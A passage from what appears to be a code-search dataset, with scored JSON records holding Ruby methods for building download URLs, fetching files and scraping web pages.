"45e861246f077b5cf1edcf5e5d18d8fa", "score": "0.55675197", "text": "def outputurl\n if Rails.env.production?\n return \"http://oboe.oerc.ox.ac.uk/download/#{self.id}\"\n elsif Rails.env.development?\n return \"http://bonnacon.oerc.ox.ac.uk:3000/download/#{self.id}\"\n elsif Rails.env.test?\n return \"http://bonnacon.oerc.ox.ac.uk:3000/download/#{self.id}\"\n end\n\n end", "title": "" }, { "docid": "0b6f41b0bfdca4b571745d683acfc32a", "score": "0.5566163", "text": "def download_files files,dest,opts = {}\n unless @started\n Logger.<<(__FILE__,\"ERROR\",\"FileManager is not started yet !\")\n abort\n end\n str = \"Will download #{files.size} files to #{dest} ... \"\n download_all_files files,dest\n str += \" Done !\"\n Logger.<<(__FILE__,\"INFO\",str) if opts[:v]\n end", "title": "" }, { "docid": "b1fe8c3ee88f5fffd182055bb29aa425", "score": "0.55588204", "text": "def generate_url(api_key, page_number, username)\n %W[\n ws.audioscrobbler.com\n /2.0/?method=user.getrecenttracks&user=#{username}&api_key=#{api_key}&format=json&page=#{page_number}\n ]\n end", "title": "" }, { "docid": "1c45d9b61ee9dda3fb80cbb5d072b833", "score": "0.5557854", "text": "def external_download_url\n @file.external_bytestream_uri.to_s\n end", "title": "" }, { "docid": "fed7a3aaad0f985459ffa20fd8368b76", "score": "0.5556136", "text": "def download(url, filename)\n require 'open-uri'\n if File.exists?(\"lib/\" + filename)\n puts \"'#{filename}' is already downloaded... skipped\"\n else\n puts \"'#{filename}' downloading...\"\n File.open(\"lib/\" + filename, \"wb\") do |saved_file|\n open(url + filename, \"rb\") { |read_file| saved_file.write(read_file.read) }\n end\n end\nend", "title": "" }, { "docid": "6dd8828bbef695cb35721add123ce52c", "score": "0.5553756", "text": "def fetch_urls\n # Crazy crazy URLs to try to find PARSE_PARAMS in Sfx4 db that have a period in\n # them, so they look like they might be URLs. Parse params could be at target service\n # level, or at portfolio level; and could be in local overrides or in global kb. \n # This is crazy crazy SQL to get this, sorry. Talking directly to SFX db isn't\n # a great idea, but best way we've found to get this for now. Might make more\n # sense to try to use the (very very slow) SFX export in the future instead. \n sql = %{\n SELECT \n COALESCE(LCL_SERVICE_LINKING_INFO.PARSE_PARAM,KB_TARGET_SERVICES.PARSE_PARAM) PARSE_PARAM\n FROM\n LCL_TARGET_INVENTORY\n JOIN sfxglb41.KB_TARGET_SERVICES\n ON KB_TARGET_SERVICES.TARGET_ID = LCL_TARGET_INVENTORY.TARGET_ID\n JOIN LCL_SERVICE_INVENTORY \n ON LCL_TARGET_INVENTORY.TARGET_ID = LCL_SERVICE_INVENTORY.TARGET_ID\n LEFT OUTER JOIN LCL_SERVICE_LINKING_INFO\n ON LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID = LCL_SERVICE_LINKING_INFO.TARGET_SERVICE_ID\n WHERE\n ( LCL_SERVICE_LINKING_INFO.PARSE_PARAM like '%.%' OR\n KB_TARGET_SERVICES.PARSE_PARAM like '%.%' )\n AND\n LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n AND\n LCL_TARGET_INVENTORY.ACTIVATION_STATUS = 'ACTIVE'\n\n UNION\n -- object portfolio parse param version\n SELECT\n COALESCE(LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM, KB_OBJECT_PORTFOLIOS.PARSE_PARAM) PARSE_PARAM\n FROM\n sfxglb41.KB_OBJECT_PORTFOLIOS\n JOIN LCL_SERVICE_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.TARGET_SERVICE_ID = LCL_SERVICE_INVENTORY.TARGET_SERVICE_ID\n JOIN LCL_OBJECT_PORTFOLIO_INVENTORY\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_INVENTORY.OP_ID\n left outer join LCL_OBJECT_PORTFOLIO_LINKING_INFO\n ON KB_OBJECT_PORTFOLIOS.OP_ID = LCL_OBJECT_PORTFOLIO_LINKING_INFO.OP_ID \n WHERE\n ( KB_OBJECT_PORTFOLIOS.PARSE_PARAM like '%.%' OR \n LCL_OBJECT_PORTFOLIO_LINKING_INFO.PARSE_PARAM like '%.%' )\n AND LCL_OBJECT_PORTFOLIO_INVENTORY.ACTIVATION_STATUS = 'ACTIVE' \n AND LCL_SERVICE_INVENTORY.ACTIVATION_STATUS='ACTIVE'\n }\n\n results = connection.select_all(sql)\n urls = []\n results.each do |line|\n param_string = line[\"PARSE_PARAM\"]\n # Try to get things that look sort of like URLs out. Brutal force,\n # sorry. \n url_re = Regexp.new('(https?://\\S+\\.\\S+)(\\s|$)')\n urls.concat( param_string.scan( url_re ).collect {|matches| matches[0]} ) \n end \n urls.uniq!\n return urls\n end", "title": "" }, { "docid": "85746d7f30bb55fd01149fdba73dec9d", "score": "0.55527663", "text": "def download_link\n return_hash = {}\n if params.has_key?(\"web_ids\")\n web_ids_str = params[\"web_ids\"]\n web_ids = web_ids_str.split(\"~\")\n if !web_ids.respond_to?(:count) || web_ids.count < 1\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"no web_ids after split\"\n render(json: return_hash.to_json, content_type: request.format, layout: false)\n end\n web_ids.each(&:strip!)\n parametrized_doi = @dataset.identifier.parameterize\n download_hash = DownloaderClient.datafiles_download_hash(@dataset, web_ids, \"DOI-#{parametrized_doi}\")\n if download_hash\n if download_hash[\"status\"] == \"ok\"\n web_ids.each do |web_id|\n datafile = Datafile.find_by(web_id: web_id)\n if datafile\n # Rails.logger.warn \"recording datafile download for web_id #{web_id}\"\n datafile.record_download(request.remote_ip)\n else\n # Rails.logger.warn \"did not find datafile for web_id #{web_id}\"\n end\n end\n return_hash[\"status\"] = \"ok\"\n return_hash[\"url\"] = download_hash[\"download_url\"]\n return_hash[\"total_size\"] = download_hash[\"total_size\"]\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = download_hash[\"error\"]\n end\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"nil zip link returned\"\n end\n render(json: return_hash.to_json, content_type: request.format, layout: false)\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"no web_ids in request\"\n render(json: return_hash.to_json, content_type: request.format, layout: false)\n end\n end", "title": "" }, { "docid": "155eb716d7f0c5bfd317382d5e2df3a1", "score": "0.55445224", "text": "def create_uri\n end", "title": "" }, { "docid": "faa25bfc7154cce6689563a3bbfdccf4", "score": "0.5535764", "text": "def download_detail_html_pages_fast\n start = Time.now\n\n\n # get all ids\n all_ids = CSV.read(\"#{@listings_folder}/merged_ids.csv\")[1..-1].map{|x| x[0]}\n\n # create folder if not exist\n FileUtils.mkdir_p @details_folder\n\n # get ids that have already been downloaded\n existing_files = Dir.glob(\"#{@details_folder}/*.html\")\n remaining_ids = if existing_files.nil? || existing_files.length == 0\n all_ids\n else\n existing_files.map!{|x| x.split('/').last.gsub('.html', '')}\n\n # determine the remaining ids that need to be retrieved\n all_ids - existing_files\n end\n\n if remaining_ids.nil? || remaining_ids.length == 0\n puts \"there are NO files to download\"\n else\n puts \"there are #{remaining_ids.length} files to download\"\n\n #initiate hydra\n hydra = Typhoeus::Hydra.new(max_concurrency: 20)\n request = nil\n total_left_to_process = remaining_ids.length\n\n remaining_ids.each_with_index do |id, index|\n if index%50 == 0\n puts \"#{index} files added to queue so far in #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n\n # request the url\n request = Typhoeus::Request.new(\"#{@details_url}#{id}\", followlocation: true, ssl_verifypeer: false, ssl_verifyhost: 0)\n\n request.on_complete do |response|\n # save to file\n x = File.open(\"#{@details_folder}/#{id}.html\", 'wb') { |file| file.write(response.response_body) }\n\n # decrease counter of items to process\n total_left_to_process -= 1\n if total_left_to_process == 0\n puts \"TOTAL TIME TO DOWNLOAD = #{((Time.now-start)/60).round(2)} minutes\"\n\n elsif total_left_to_process % 100 == 0\n puts \"\\n\\n- #{total_left_to_process} files remain to download; time so far = #{((Time.now-start)/60).round(2)} minutes\\n\\n\"\n end\n end\n hydra.queue(request)\n end\n\n hydra.run\n\n end\nend", "title": "" }, { "docid": "009e401cbcda5065963659a2c38eed62", "score": "0.55349666", "text": "def download_uri\n return @download_uri\n end", "title": "" }, { "docid": "c242c1c94e08478b0ddf8e2324d94009", "score": "0.55344856", "text": "def get_download_url()\n return @@download_url;\n end", "title": "" }, { "docid": "71bb1dafc0fdc559a1cb071da4ee1b44", "score": "0.55335283", "text": "def fake_url\n protocol = rand(10) > 8 ? \"http\" : \"https\"\n domain = (rand(3)+2).times.map{ rand(2 ** 12).to_s(32) }.join(\".\")\n path = words(rand(5)).join(\"/\")\n \n \"#{protocol}://#{domain}/#{path}\"\nend", "title": "" }, { "docid": "bef67b3c57ab18bceee2157b38bf019b", "score": "0.5531932", "text": "def _http_url\n HTTPURI + _uri_path\n end", "title": "" }, { "docid": "d5c34143901d70bce0d57662a9d0efd5", "score": "0.5527334", "text": "def url\n [\"http://\" + @uploader.couch_host + \":\" + @uploader.couch_port, model.database.name , model.id, @path].join(\"/\")\n end", "title": "" }, { "docid": "a6eae00a4eaf1c37e1f9b511170275e8", "score": "0.55261874", "text": "def neofiles_file_url(*args)\n neofiles_cdn_prefix(*args) + neofiles_file_path(*args)\n end", "title": "" }, { "docid": "bded709fa5feb221982eb14187bd2c8a", "score": "0.55245817", "text": "def download_url(**opt)\n opt[:expires_in] ||= ONE_TIME_USE_EXPIRATION\n attached_file&.url(**opt)\n end", "title": "" }, { "docid": "ba95bcad97649b67d896622edba0d6b7", "score": "0.5522886", "text": "def tracks_get_download_link params = { :track_id => nil, :reason => 'save' }\n json = send_request 'tracks_get_download_link', params\n if json['success'] == true\n json['url']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end", "title": "" }, { "docid": "8a88b57f8d80083fc6c9777ba6cc9e73", "score": "0.5521979", "text": "def get_next_uri\n @is_getting_uri.lock\n uri = URI(\"https://admission.umontreal.ca/programmes-detudes/?type=888&tx_solr[page]=#{@i}&_=1482177335727\")\n @i += 1\n @is_getting_uri.unlock\n return uri\nend", "title": "" }, { "docid": "7710c5e702b7d8eeecb456d26d2b31fc", "score": "0.55127203", "text": "def download\n\n# Taking from the query parameter that was passed in from the HTML after'?' (Query string parameters):\n url = params[:url]\n\n# Get the filename unless last character is a /\n filename = url[-1,1] == '/' ? \"\" : url.split('/').last\n\n# Set the url without the filename so that we can encode any special characters of the filename later\n url.slice!(filename)\n\n# Querying the database for documents where the URL matches the url ^ and convert to array:\n document = Cache.where(url: url+CGI::escape(filename)).to_a\n\n# Send binary data of content to be downloaded as HTML document:\n send_data(document.first.content, :filename => filename, :type => \"text/html; charset=utf-8\", :disposition => 'attachment')\n end", "title": "" }, { "docid": "3a8a4d5b68fc2674d415d8ec010ae9f6", "score": "0.55119425", "text": "def get_queued_links()\n\t\thydra.queued_requests.map do |req|\n\t\t\treq.url\n\t\tend\n\tend", "title": "" }, { "docid": "0f841f0f62b7d374dfadb1a8b6d79cc7", "score": "0.55004853", "text": "def get_create_url(document_type)\n\n get_server_url(false) + '/sample?fileExt=' + get_internal_extension(document_type).delete('.')\n\n end", "title": "" }, { "docid": "e402e656c51f934df41f08829cac847c", "score": "0.5499771", "text": "def download_response_files!\n files_downloaded = []\n File.makedirs(cache_location + '/returns')\n with_ftp do |ftp|\n files = ftp.list('*.csv')\n files.each do |filels|\n size, file = filels.split(/ +/)[4], filels.split(/ +/)[8..-1].join(' ')\n ftp.get(file, cache_location + '/returns/' + user_suffix + '_' + file)\n files_downloaded << file\n end\n end\n files_downloaded\n end", "title": "" }, { "docid": "33c731abe2c3d994f6d50f1dd3f512a8", "score": "0.5480304", "text": "def get_download_url(file_name, is_serverUrl=true)\n\n user_host = is_serverUrl ? '&userAddress=' + cur_user_host_address(nil) : \"\"\n get_server_url(is_serverUrl) + '/download?fileName=' + ERB::Util.url_encode(file_name) + user_host\n\n end", "title": "" }, { "docid": "84348856bc27515c3fff0d3e09672b49", "score": "0.54795843", "text": "def send\n generate_url\n end", "title": "" }, { "docid": "84348856bc27515c3fff0d3e09672b49", "score": "0.54795843", "text": "def send\n generate_url\n end", "title": "" }, { "docid": "f58ed6901ece20eb0c4ec327c9f01d4d", "score": "0.5473369", "text": "def get_url(data_name, next_data_indices = {})\n if next_data_indices.empty?\n next_data_indices = { nextStartIndex: 0, nextLikeStartIndex: 0, nextThumbStartIndex: 0 }\n else\n next_data_indices = next_data_indices.dup\n end\n\n next_data_indices[:webname] = @webname\n next_data_indices[:pat] = Downloader.get_pat\n\n DATA_FEED_URLS[data_name] % next_data_indices\n end", "title": "" }, { "docid": "44e788751bc86f6cb2d18e569976f5b7", "score": "0.5473312", "text": "def fasta_download\n\n nil\n\n end", "title": "" }, { "docid": "823f25a3ffc32844f58c78777b9c1909", "score": "0.54636836", "text": "def gen_url(url, appended_val, test)\n\n\t\tif(!url.include? 'http')\n \t\turl = \"http://\" + url\n ht_flag = \"T\" #Added to check if there is an http added automatically to a vanity/pixel url\n\t\tend\n\n\t\t# Generate the URI Objects\n\t\turl_uri = URI.parse(URI.encode(url.to_s.strip))\n\t\tappend_uri = URI.parse(URI.encode(appended_val.to_s.strip.gsub(/^(&)/,'?')))\n\n\t\turl_query = url_uri.query\n\t\tappend_query = append_uri.query\n \n\n\t\t# Get the parameters from each\n\t\turl_parameters = CGI.parse(url_query) if(url_query)\n\t\tappend_parameters = CGI.parse(append_query) if(append_query)\n\n\t\t# merge the parameters\n\t\tparameters = {}\n\t\tparameters.merge!(url_parameters) if(url_parameters)\n\t\tparameters.merge!(append_parameters) if(append_parameters)\n\n\t\t# add test value if needed\n\t\tif(test)\n\t\t\tparameters.merge!({\"mmcore.gm\" => [\"2\"]})\n\t\tend\n\n\t\t# change hash to string format\n\t\tquery_string = hash_to_querystring(parameters)\n\n\n\t\t# clean out spare '/' marks\n\t\tpath_url = url_uri.path\n\t\tpath_append = append_uri.path\n \n\t\t# combine everything back into URI\n\t\tpath_url = '' if(path_url == '/')\n\t\tpath_append = '' if(path_append == '/')\n \n\t\t#url_uri.query = query_string \n \n\t\tcombine_path = path_url + path_append\n\t\tcombine_path = '/' if combine_path[0] != '/'\n\n url_uri.path = combine_path\n url_uri.query = nil\n final_url = url_uri.to_s\n\t\tfinal_url = [url_uri.to_s, query_string].join('?') if(!query_string.empty?)\n\t\t# return the URI as string\n # Adding to remove an extra http added to the vanity url, linked to 41, here from 88-93\n if (ht_flag != 'T')\n return final_url.to_s.gsub('%7C','|').gsub('%23','#').gsub('%25','%') \n else\n return final_url.to_s.gsub('%7C','|').gsub('%23','#').gsub('%25','%').gsub('http://','')\n end\n #return final_url.to_s.gsub('%7C','|').gsub('%23','#').gsub('%25','%')\n\tend", "title": "" }, { "docid": "be189a78549a3b7a4b6fc9dfffcb4d32", "score": "0.54632145", "text": "def artifact_download_url_for(node, source)\n # TODO: Move this method into the nexus-cli\n config = data_bag_config_for(node, source)\n nexus_path = config['path']\n group_id, artifact_id, version, extension, classifier = source.split(':')\n uri_for_url = URI(config['url'])\n builder = uri_for_url.scheme =~ /https/ ? URI::HTTPS : URI::HTTP\n is_content_path_enabled = use_content_path node\n query_string = \"g=#{group_id}&a=#{artifact_id}&v=#{version}&e=#{extension}&r=#{config['repository']}&c=#{classifier}\"\n if is_content_path_enabled\n if version.downcase.include? 'snapshot'\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"#{nexus_path}/service/local/artifact/maven/redirect\", :query => query_string).to_s\n else\n ##\n Chef::Log.info \"g-#{group_id} a-#{artifact_id} v-#{version} e-#{extension} c-#{classifier} repo #{config['repository']} url #{config['url']} path #{config['path']}\"\n gav_path=get_gav_path(group_id, artifact_id, version)\n f_name = get_download_fname(artifact_id, version, classifier, extension)\n if nexus_path ==''\n content_url=\"#{config['repository']}/#{gav_path}/#{f_name}\"\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"/#{content_url}\").to_s\n else\n # remove leading trailing /\n path = nexus_path.gsub(/^\\//, '')\n path = \"#{path.gsub(/\\/$/, '')}/content/repositories/#{config['repository']}\"\n content_path = \"#{path}/#{gav_path}\"\n content_url = \"#{content_path}/#{f_name}\"\n Chef::Log.info \"download url #{content_url}\"\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"/#{content_url}\").to_s\n end\n end\n else\n builder.build(:host => uri_for_url.host, :port => uri_for_url.port, :path => \"#{nexus_path}/service/local/artifact/maven/redirect\", :query => query_string).to_s\n end\n end", "title": "" }, { "docid": "1554425e5905c72de13b8b01372f1995", "score": "0.54630077", "text": "def complete_url(url, base)\n if url.start_with?(\"/\")\n resource_uri = base + url\n else\n resource_uri = url\n end \n return resource_uri\n end", "title": "" }, { "docid": "78fa788cf10a42fdee90bb68174d9e61", "score": "0.546029", "text": "def generate_file_name(domain_name, baseurl)\n if(term.to_s[0..1].eql? \"_:\")\n file_name = \"rdfsites/blanknode/#{term.to_s}/\"\n else\n begin\n uri = Addressable::URI.parse(term.to_s).to_hash\n file_name = \"rdfsites/\" # in this directory all external RDF sites are stored\n if((uri[:host].eql? domain_name) || (\"#{uri[:scheme]}://#{uri[:host]}\".eql? domain_name))\n file_name = \"\"\n uri[:scheme] = nil\n uri[:host] = nil\n if(uri[:path].length > baseurl.length)\n if(uri[:path][0..(baseurl.length)].eql? (baseurl + \"/\"))\n uri[:path] = uri[:path][(baseurl.length)..-1]\n end\n elsif(uri[:path].eql?(baseurl))\n uri[:path] = nil\n end\n end\n key_field = [:scheme, :userinfo, :host, :port, :registry, :path, :opaque, :query, :fragment]\n key_field.each do |index|\n if !(uri[index].nil?)\n case index\n when :path\n file_name += \"#{uri[index][1..-1]}/\"\n when :fragment\n file_name += \"#/#{uri[index]}\"\n else\n file_name += \"#{uri[index]}/\"\n end\n end\n end\n unless file_name[-1] == '/'\n file_name += '/'\n end\n rescue URI::InvalidURIError => x #unclean coding: blanknodes are recognized through errors\n file_name = \"invalids/#{term.to_s}\"\n Jekyll.logger.error(\"Invalid resource found: #{term.to_s} is not a proper uri\")\n Jekyll.logger.error(\"URI parser exited with message: #{x.message}\")\n end\n end\n file_name = file_name.gsub('_','_u')\n file_name = file_name.gsub('//','/') # needs a better regex to include /// ////...\n file_name = file_name.gsub(':','_D')\n file_name = file_name.strip\n if(file_name[-2..-1] == \"#/\")\n file_name = file_name[0..-3]\n end\n file_name += 'index.html'\n @render_path = file_name\n @page_url = file_name.chomp('index.html').chomp('.html')\n file_name\n end", "title": "" }, { "docid": "91cd099fafe782a634d7a76ec802f878", "score": "0.5459812", "text": "def generate_short_url\n url = Process.clock_gettime(Process::CLOCK_REALTIME, :nanosecond).to_s(36)\n old_url = Link.where(short_url: url).last\n if old_url.present? \n self.generate_short_url\n else\n self.short_url = url\n end\n end", "title": "" }, { "docid": "08ceb90cdd5e1475a025763e7dd79cdb", "score": "0.54538405", "text": "def wget(dir, url, fname)\n u = URI.parse(url)\n # create the directory if it doesn't exist\n FileUtils.mkdir_p(dir) unless File.exists?(dir)\n fname = no_clobber(\"#{dir}/#{fname}\")\n begin\n f = File.open(fname, 'w') # TODO implement wget naming in case file exists... foo.1 foo.2 ...\n Net::HTTP.start(u.host) do |http|\n http.request_get(u.path) do |resp|\n resp.read_body do |segment|\n f.write(segment)\n end\n end\n end\n ensure\n f.close()\n end\n\nend", "title": "" }, { "docid": "3ea2cb958afb0e9c9c1a772427886b28", "score": "0.54486334", "text": "def track_download\n connection.get(links.download_location)[\"url\"]\n end", "title": "" }, { "docid": "1a1a86250d845e4d6dd89db040bca859", "score": "0.5448486", "text": "def request_url(requirelogin=false, requireuserinfo=false, expirationdays=30, notifyonupload=false)\n end", "title": "" }, { "docid": "c7e05d5eedcda0fb5a40a9a70f7199a7", "score": "0.5446348", "text": "def getlist(url)\n @url = url\n doc = Nokogiri::HTML(open(@url))\n # @fileset = doc.css(\"td a\")[1..-1]\n @fileset = doc.css(\"td a\")[1,1] #revert to above after testing\n @fileset.each do |item|\n @docname = item.text\n puts \"Downloading #{@docname}\"\n # download the zip files\n download(@url, @docname, \"/vagrant/src/ruby/JobSearch/nuvi/download/\")\n # unzip(@docname, @downloadpath)\n @zipcount += 1\n end\n @zipcount == @fileset.length ? (puts \"Retrieved #{@zipcount} zip files.\") : (puts \"missed a few\")\nend", "title": "" }, { "docid": "f33987916631fe9eb4482b1d6459c9db", "score": "0.54455984", "text": "def acquirer_url(request_type)\n self.class.send(\"#{test_or_live}#{sort_request(request_type)}_url\")\n end", "title": "" }, { "docid": "4415e6a2eb81f5025e91ffc29e702057", "score": "0.54399383", "text": "def ruby_hard_way_urls\n urls = ['http://ruby.learncodethehardway.org/book/intro.html']\n (1..52).each do |val|\n urls << 'http://ruby.learncodethehardway.org/book/ex' + val.to_s.rjust(2,'0') + '.html'\n end\n urls << 'http://ruby.learncodethehardway.org/book/next.html'\n urls << 'http://ruby.learncodethehardway.org/book/advice.html'\n urls\nend", "title": "" }, { "docid": "a7a01431a7e07cc171b0e9167f34a12f", "score": "0.54346484", "text": "def get_historypath_uri(file_name,version,file,is_serverUrl=true)\n # for redirection to my link\n user_host = is_serverUrl ? '&userAddress=' + cur_user_host_address(nil) : \"\"\n uri = get_server_url(is_serverUrl) + '/downloadhistory/?fileName=' + ERB::Util.url_encode(file_name) + '&ver='+ version.to_s + '&file='+ ERB::Util.url_encode(file) + user_host\n return uri\n end", "title": "" }, { "docid": "babb588a22903ad93aaebe6c6f6c5175", "score": "0.54311967", "text": "def generate_file_name()\n fragment_holder = nil\n domain_name = URI::split(Jekyll::JekyllRdf::Helper::RdfHelper::domainiri)[2].to_s\n baseurl = Jekyll::JekyllRdf::Helper::RdfHelper::pathiri.to_s\n ((\"/\".eql? baseurl[-1]) || (baseurl.empty? && (\"/\".eql? domain_name[-1]))) ? rdfsites=\"rdfsites/\": rdfsites=\"/rdfsites/\"\n if(term.to_s[0..1].eql? \"_:\")\n file_name = \"#{rdfsites}blanknode/#{term.to_s.gsub('_:','blanknode_')}/\" # ':' can not be used on windows\n else\n begin\n uri = Addressable::URI.parse(term.to_s).to_hash\n file_name = rdfsites # in this directory all external RDF sites are stored\n if((uri[:host].eql? domain_name) || (\"#{uri[:scheme]}://#{uri[:host]}\".eql? domain_name))\n if((baseurl.length == 0)) #Special cases like baseurl == path or non-existent baseurl\n uri[:scheme] = nil\n uri[:host] = nil\n file_name = \"\"\n elsif(uri[:path].eql?(baseurl))\n uri[:path] = nil\n uri[:scheme] = nil\n uri[:host] = nil\n file_name = \"\"\n elsif(uri[:path].length > baseurl.length) #baseurl might be the first part of :path\n if(uri[:path][0..(baseurl.length - 1)].eql? baseurl)\n uri[:path] = uri[:path][(baseurl.length)..-1]\n uri[:scheme] = nil\n uri[:host] = nil\n file_name = \"\"\n end\n end\n end\n #An URI consists of these fields [:scheme, :userinfo, :host, :port, :registry, :path, :opaque, :query, :fragment]\n file_name << \"#{uri[:scheme]}/\" unless uri[:scheme].nil?\n file_name << \"#{uri[:userinfo]}@\" unless uri[:userinfo].nil?\n file_name << \"#{uri[:host]}/\" unless uri[:host].nil?\n file_name << \"#{uri[:port]}/\" unless uri[:port].nil?\n # registry purpose unknown\n file_name << \"#{uri[:path][0..-1]}\" unless uri[:path].nil?\n fragment_holder = \"##{uri[:fragment]}\" unless uri[:fragment].nil?\n # opaque jekyll produces static pages, so we do not dereferencing\n # query queries do not address resources\n # file_name << \"#/#{uri[:fragment]}\" unless uri[:fragment].nil? fragments are not evaluated by browsers, only by clients\n rescue Addressable::URI::InvalidURIError => x\n file_name = \"invalids/#{term.to_s}\"\n Jekyll.logger.error(\"Invalid resource found: #{term.to_s} is not a proper uri\")\n Jekyll.logger.error(\"URI parser exited with message: #{x.message}\")\n end\n end\n file_name = file_name.gsub('//','/') # needs a better regex to include /// ////...\n file_name = file_name.strip\n if(file_name[-2..-1] == \"#/\")\n file_name = file_name[0..-3]\n end\n if(file_name[-1] == '/' || (file_name.eql? \"\"))\n file_name << \"index.html\"\n else\n last_slash = file_name.rindex('/')\n last_slash = 0 if last_slash.nil?\n ending = \"\"\n if(file_name[-5..-1].eql? \".html\")\n ending = \".html\" #in case .html is already contained by the term.url\n else\n file_name[last_slash..-1] = \"#{file_name[last_slash..-1]}.html\"\n end\n end\n @render_path = file_name\n @page_url = \"#{file_name.chomp('index.html').chomp('.html')}#{ending}#{fragment_holder}\"\n identify_name_from_path(file_name)\n @filename\n end", "title": "" }, { "docid": "fc1ee84f1de86443eb9eff4cbaf87a60", "score": "0.54285216", "text": "def fastly_url\n \"https://browzable.global.ssl.fastly.net/#{clip.id[0..-5]}.m3u8\"\n end", "title": "" }, { "docid": "835ae64e0d9b428ffdcc8c749c22e4ea", "score": "0.5427433", "text": "def fetchfilm parturl, _file=nil\n return nil unless parturl\n table = \"movie\"\n if parturl.index(\"&\")\n #$log.warn \"Cannot handle ampersand in URL. please correct #{parturl}\"\n $stderr.puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n $stderr.puts \"Cannot handle ampersand in URL. please correct #{parturl}\"\n $stderr.puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n return nil\n end\n # remove HOST and keep last part\n if parturl.index OLDHOST\n parturl = parturl[OLDHOST.length..-1]\n end\n if parturl.index HOST\n parturl = parturl[HOST.length..-1]\n end\n if parturl.index(\"http:\") or parturl.index(\"https:\")\n # added this block 2015-12-30 \n $stderr.puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n $stderr.puts \"Don't know how to handle this host : #{parturl}. Pls use #{HOST} if you must.\"\n $stderr.puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n #$log.error \"Don't know how to handle #{parturl}\"\n #exit(1)\n return nil\n end\n #inserting = false\n return nil if parturl.nil? || parturl.strip == \"\"\n parturl = parturl.chomp\n #nid = counter + starting\n nid = nil\n upperurl = parturl.upcase\n key = converturl parturl\n id = $db.get_first_value %Q[select rowid from #{table} where upper(url) = \"#{upperurl}\";]\n # in some cases the data on wiki has changed a lot, so we are forcing a download\n unless $opt_force\n if id.nil?\n id = $db.get_first_value %Q[select url from #{table} where upper(canonical) = \"#{upperurl}\";]\n if id\n $stderr.puts color(\"ERROR: FOUND another url with similar canonical : #{id} skipping ..\",\"red\");\n return nil\n end\n # NOTE 2016-02-28 - this can prevent me from downloading a movie with same name but different\n # year. I should check title + year at point of updating in db. or key + year.\n id = $db.get_first_value \"select rowid from #{table} where key = '#{key}';\"\n if id\n tmp = $db.get_first_value \"select url from #{table} where key = '#{key}';\"\n $stderr.puts color(\"ERROR: FOUND another row with similar KEY #{key}: #{id} #{tmp} , skipping ..\",\"red\");\n #$log.warn \"XXX: FOUND another row with similar KEY #{key}: #{id} #{tmp} , SKIPPING ..\"\n return nil\n end\n else\n $stderr.puts color(\"ERROR: FOUND another row with #{parturl} ... skipping\",\"red\");\n return nil\n end\n end\n id = nid\n url = HOST + parturl.strip\n #\n # BUG: still fails if ampersand in URL regardless of single or double quote\n # TODO maybe we need to try Shellwords.escape since i am able to do it with wget on commandline\n text = %x[wget -q -O - \"#{url}\"] \n # 2015-12-29 - sometimes the URL is wrong, so we get a blank. The file has zero bytes\n # so we should check here\n if text.nil? or text.chomp == \"\"\n $stderr.puts color(\"ERROR: =========== url is wrong or internet down, no data received #{url}. pls check ...\", \"red\")\n #$my_errors << \"no data fetched for #{parturl} pls check/correct.\"\n sleep(60)\n return nil\n end\n # 2016-03-08 - write to a temp folder and only copy to real name if file passes disambiguation check\n tmpfile = _file.sub(\"wiki\", \"tmp\")\n File.open(tmpfile,\"w\") {|f2| f2.write(text) }\n\n _ff = Shellwords.escape(tmpfile)\n type = `file #{_ff}`\n\n # check if its a zip\n # SOMETime it comes in zip format. how do contreol that ?\n # if file says zipped then add gz extension and do a gunzip\n if type.index \"gzip\"\n $stderr.puts color(\" gzip found, expanding\", \"blue\")\n FileUtils.mv tmpfile, \"#{tmpfile}.gz\"\n system \"gunzip #{_ff}.gz\"\n #text = File.readlines(_file).join(\"\\n\")\n end\n\n # 2016-03-08 - check if disambiguation page\n ret = %x[ ./oldprogs/grepdisambiguation.sh \"#{tmpfile}\" ]\n if ret and ret.size > 3\n $stderr.puts color(\" ERROR: This (#{tmpfile} is a disambiguation page, aborting ...\", \"red\" ) \n return nil\n end\n # all okay, move file to real folder\n FileUtils.mv tmpfile, _file\n #\n # TODO 2016-03-06 - 13:09 extract canonical and compare with parturl\n # If different then change html path removing HOST and calling uri_to_filename \n # Then change parturl and write to file so next program can pick up and adjust url, htmlpath and ymlpath.\n # We check after writing since the string could be in zip format.\n # This could fail, we may need to use _ff instead here and in parsedoc\n canonical = %x[ ./oldprogs/grepcanonical.sh -h \"#{_file}\" ]\n\n # 2016-03-08 - read file and check for canonical. if so return error do not update table.\n if canonical && canonical.size > 2\n canonical = canonical.chomp\n if ( (canonical != parturl) && (URI.decode(canonical) != parturl) )\n suggestedurl = URI.decode(canonical);\n # 2016-03-08 - if canon link contains disambiguation or '#' then return error\n if suggestedurl.index(\"disambiguation\") or suggestedurl.index(\"#\")\n $stderr.puts color(\" ERROR: This (#{suggestedurl} is a disambiguation page, aborting ...\", \"red\", \"reverse\") \n return nil\n end\n $stderr.puts color(\" WARNING: canonical does not match url, should change name #{parturl} != #{canonical}...\",\"red\");\n $stderr.puts color(\" WARNING: we should rename file and url to: #{suggestedurl} and change the parturl in file and caller \",\"red\");\n # if this works out, we can change the name of the file. and write new url and html path to a yml file.\n end\n end\n return _file\nend", "title": "" }, { "docid": 